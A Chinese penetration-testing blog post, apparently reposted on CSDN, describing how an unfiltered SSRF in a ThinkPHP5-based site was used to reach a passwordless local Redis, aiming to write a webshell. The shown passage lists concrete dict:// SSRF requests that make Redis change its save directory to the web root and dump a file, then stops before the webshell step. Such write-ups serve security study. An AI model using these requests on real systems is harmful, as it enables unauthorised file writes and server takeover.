redis主从复制_通过 SSRF 操作 Redis 主从复制写 Webshell

公众号拖了半年没写,文章写了一个月没发,懒得该死。

废话

说起来很巧,这篇文章早就写完了,当时写完的时候并没有发出去,因为本想着等曲老板的其他东西一起,结果第二天发现安恒他们发了一篇差不多的文章,看样子源码几乎是一致或者大部分相似的,当时真的觉得太巧了,安全圈是真的小,2333333 不过能见识到大家不同方面的思考和渗透思路, 还是觉得是挺有意思的,于是将这篇文章部分内容发出来,一起学习交流一下。

这篇文章可能会比较啰嗦,因为我会把我踩过的坑都写上,最后才会写成功的操作。

起因

连麦搞域搞的头发昏的时候遇到了问题,在群里提问经几位大佬慷慨指点后准备撤退继续肝,却被曲老板逮住了我这个失踪人口,经曲老板一顿指点和教育后说,“空了帮忙看套 TP5 二开的程序,目前审出来了几个问题:有任意文件读取 、SSRF、还有一个反序列化。但是反序列化还在研究 ”,让我帮忙看看 SSRF 能不能利用 ,还特意提了一下网站依赖 Redis 运行,无密码,绑定在 127.0.0.1。我嘴上说着不要,我要学习,手里却不老实的点了进去...

(先上源码、先上源码)

SSRF 的点是没有做任何过滤,经典的 SSRF 漏洞代码

a5defc1e9dd4aa9cafc2a2b67450715e.png

起了一个 NC , 测试一下支持的协议,随手测试一下相对熟悉的 dict 协议发现支持,而且知道目标的 curl 版本是 7.64.1,那就好办了。

不过还是按照老规矩,还是先把这个 SSRF  支持的协议,属于什么类型摸清楚。

  • 经测试发现还支持:httphttpsgophertelnet 等协议。

  • SSRF 的类型为无状态型 SSRF ,即不管你请求的端口是否开放、协议是否支持、网站是否能访问 返回的状态都是一样的,你无法通过它扫描端口开放情况和使用 file 协议读取本地信息。

  • 不支持 302 跳转。

4d68a1bb0c63668b79f79345f091073c.png

踩坑

由于系统是曲老板自己搭建的,redis 运行权限底,无法写定时任务和私钥,而且要求最好只写 webshell

所以首先使用 DICT 协议随手往根目录写出了一个文本,查看版本和压缩情况。

1.使用 DICT 协议添加一条测试记录

 /api/test/http_get?url=dict://127.0.0.1:6379/set:xxxxxxx:1111111

2.设置保存路径

 /api/test/http_get?url=dict://127.0.0.1:6379/config:set:dir:/www/wwwroot/

3.设置保存文件名

 /api/test/http_get?url=dict://127.0.0.1:6379/config:set:dbfilename:1.txt

4.保存

 /api/test/http_get?url=dict://127.0.0.1:6379/save

查看 1.txt 内容发现 redis 数据没有被压缩,版本为 5.0.8

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值